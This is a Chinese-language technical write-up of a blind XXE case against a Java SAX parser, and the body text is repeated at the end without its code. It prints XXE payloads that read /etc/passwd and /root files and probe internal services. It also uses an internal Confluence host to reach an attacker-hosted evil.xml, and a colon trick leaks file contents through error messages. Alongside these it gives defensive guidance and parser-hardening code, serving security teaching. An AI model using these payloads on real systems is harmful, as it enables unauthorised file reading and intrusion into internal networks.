从Blind XXE漏洞到读取Root文件的系统提权
字数 1525 2025-08-18 11:37:53

Blind XXE漏洞到系统提权:深入分析与利用技术

1. 漏洞背景与发现

XXE (XML External Entity)漏洞是一种基于XML解析的安全漏洞,攻击者能够通过构造恶意的XML文档来读取服务器上的任意文件、执行远程请求或发起服务端请求伪造(SSRF)攻击。

在本案例中,作者发现了一个特殊的Blind XXE漏洞(盲注XXE),最终实现了从读取普通文件到获取root级别文件的系统提权。

2. 初始发现与探测

2.1 初始响应分析

  • 服务端响应XML格式消息和404状态
  • 当改为POST请求并添加Content-Type: application/xml头时,响应发生变化
  • 添加正常结构的XML文档后,服务端要求提供凭据

2.2 初步XXE测试

使用Collaborator模块进行带外测试:

<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "http://burpcollaborator.net">
  %xxe;
]>

发现服务端可以解析域名但未发起HTTP请求,防火墙阻断了所有非正常出站流量。

3. Blind XXE漏洞确认

3.1 文件存在性探测

通过尝试访问本地文件来确认漏洞:

<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  %xxe;
]>

文件存在时的响应

org.xml.sax.SAXParseExceptionpublicId...

文件不存在时的响应

File not found

3.2 解析器类型识别

从错误消息org.xml.sax.SAXParseException可以判断服务端使用的是Java SAX解析器。

4. 漏洞利用技术

4.1 内部服务探测

利用Blind XXE进行内部端口扫描:

<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "http://127.0.0.1:8080">
  %xxe;
]>

4.2 协议测试

测试不同协议的支持情况:

<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "https://example.com">
  <!ENTITY % xxe SYSTEM "gopher://example.com">
  <!ENTITY % xxe SYSTEM "ftp://example.com">
]>

服务端能识别协议类型并返回特定错误。

4.3 内部服务枚举

通过公司公开文档发现的内部服务:

  • wiki.company.internal
  • jira.company.internal
  • confluence.company.internal

5. 突破防火墙限制

5.1 利用Confluence作为代理

发现confluence.company.internal:8090可以绕过防火墙限制:

<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "http://confluence.company.internal:8090">
  %xxe;
]>

在Burp Collaborator中观察到HTTP请求。

5.2 构造恶意XML文件

创建evil.xml文件托管在攻击服务器:

<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

通过Confluence实例触发目录访问,获取服务端目录列表。

6. 文件内容读取技巧

6.1 解决冒号问题

读取/etc/passwd时遇到冒号解析问题,解决方案:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

在文件内容前添加冒号,利用"no protocol"错误显示文件内容。

6.2 读取root目录文件

最终成功读取/root目录下的文件。

7. 技术要点总结

7.1 红队经验

  1. 发现异常后应持续深入挖掘
  2. Java SAX解析器对URL模式的处理方式特殊
  3. 现代Java版本限制多行文件通过HTTP外泄,但可通过错误响应获取信息

7.2 蓝队防御建议

  1. 及时修补内部服务漏洞
  2. 内部网络不应简单视为安全区域,需划分信任级别
  3. 错误消息应记录到日志而非HTTP响应
  4. 身份验证不能有效缓解XXE漏洞

8. 漏洞利用流程总结

  1. 发现XML服务端点
  2. 确认Blind XXE漏洞存在
  3. 识别内部服务(Confluence)
  4. 利用内部服务作为代理绕过防火墙
  5. 构造恶意XML读取文件
  6. 解决特殊字符(冒号)问题
  7. 最终获取root权限文件

9. 防御措施

  1. 禁用XML外部实体处理:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 实施严格的网络隔离策略

  3. 监控和过滤异常XML请求

  4. 定期审计内部服务安全性

  5. 实施最小权限原则

10. 扩展思考

  1. 其他可能利用的Java XML解析器特性
  2. 结合其他漏洞(如SSRF)进行链式攻击
  3. 在云环境中的XXE攻击变种
  4. 针对不同文件编码的读取技巧

通过本案例可以看出,即使是中危的Blind XXE漏洞,在特定环境下也可能导致系统级的安全问题。防御方需要从代码安全、网络架构和监控响应等多层面构建防御体系。

Blind XXE漏洞到系统提权:深入分析与利用技术 1. 漏洞背景与发现 XXE (XML External Entity)漏洞是一种基于XML解析的安全漏洞,攻击者能够通过构造恶意的XML文档来读取服务器上的任意文件、执行远程请求或发起服务端请求伪造(SSRF)攻击。 在本案例中,作者发现了一个特殊的Blind XXE漏洞(盲注XXE),最终实现了从读取普通文件到获取root级别文件的系统提权。 2. 初始发现与探测 2.1 初始响应分析 服务端响应XML格式消息和404状态 当改为POST请求并添加 Content-Type: application/xml 头时,响应发生变化 添加正常结构的XML文档后,服务端要求提供凭据 2.2 初步XXE测试 使用Collaborator模块进行带外测试: 发现服务端可以解析域名但未发起HTTP请求,防火墙阻断了所有非正常出站流量。 3. Blind XXE漏洞确认 3.1 文件存在性探测 通过尝试访问本地文件来确认漏洞: 文件存在时的响应 : 文件不存在时的响应 : 3.2 解析器类型识别 从错误消息 org.xml.sax.SAXParseException 可以判断服务端使用的是Java SAX解析器。 4. 漏洞利用技术 4.1 内部服务探测 利用Blind XXE进行内部端口扫描: 4.2 协议测试 测试不同协议的支持情况: 服务端能识别协议类型并返回特定错误。 4.3 内部服务枚举 通过公司公开文档发现的内部服务: wiki.company.internal jira.company.internal confluence.company.internal 5. 突破防火墙限制 5.1 利用Confluence作为代理 发现confluence.company.internal:8090可以绕过防火墙限制: 在Burp Collaborator中观察到HTTP请求。 5.2 构造恶意XML文件 创建evil.xml文件托管在攻击服务器: 通过Confluence实例触发目录访问,获取服务端目录列表。 6. 文件内容读取技巧 6.1 解决冒号问题 读取/etc/passwd时遇到冒号解析问题,解决方案: 在文件内容前添加冒号,利用"no protocol"错误显示文件内容。 6.2 读取root目录文件 最终成功读取/root目录下的文件。 7. 技术要点总结 7.1 红队经验 发现异常后应持续深入挖掘 Java SAX解析器对URL模式的处理方式特殊 现代Java版本限制多行文件通过HTTP外泄,但可通过错误响应获取信息 7.2 蓝队防御建议 及时修补内部服务漏洞 内部网络不应简单视为安全区域,需划分信任级别 错误消息应记录到日志而非HTTP响应 身份验证不能有效缓解XXE漏洞 8. 漏洞利用流程总结 发现XML服务端点 确认Blind XXE漏洞存在 识别内部服务(Confluence) 利用内部服务作为代理绕过防火墙 构造恶意XML读取文件 解决特殊字符(冒号)问题 最终获取root权限文件 9. 防御措施 禁用XML外部实体处理: 实施严格的网络隔离策略 监控和过滤异常XML请求 定期审计内部服务安全性 实施最小权限原则 10. 扩展思考 其他可能利用的Java XML解析器特性 结合其他漏洞(如SSRF)进行链式攻击 在云环境中的XXE攻击变种 针对不同文件编码的读取技巧 通过本案例可以看出,即使是中危的Blind XXE漏洞,在特定环境下也可能导致系统级的安全问题。防御方需要从代码安全、网络架构和监控响应等多层面构建防御体系。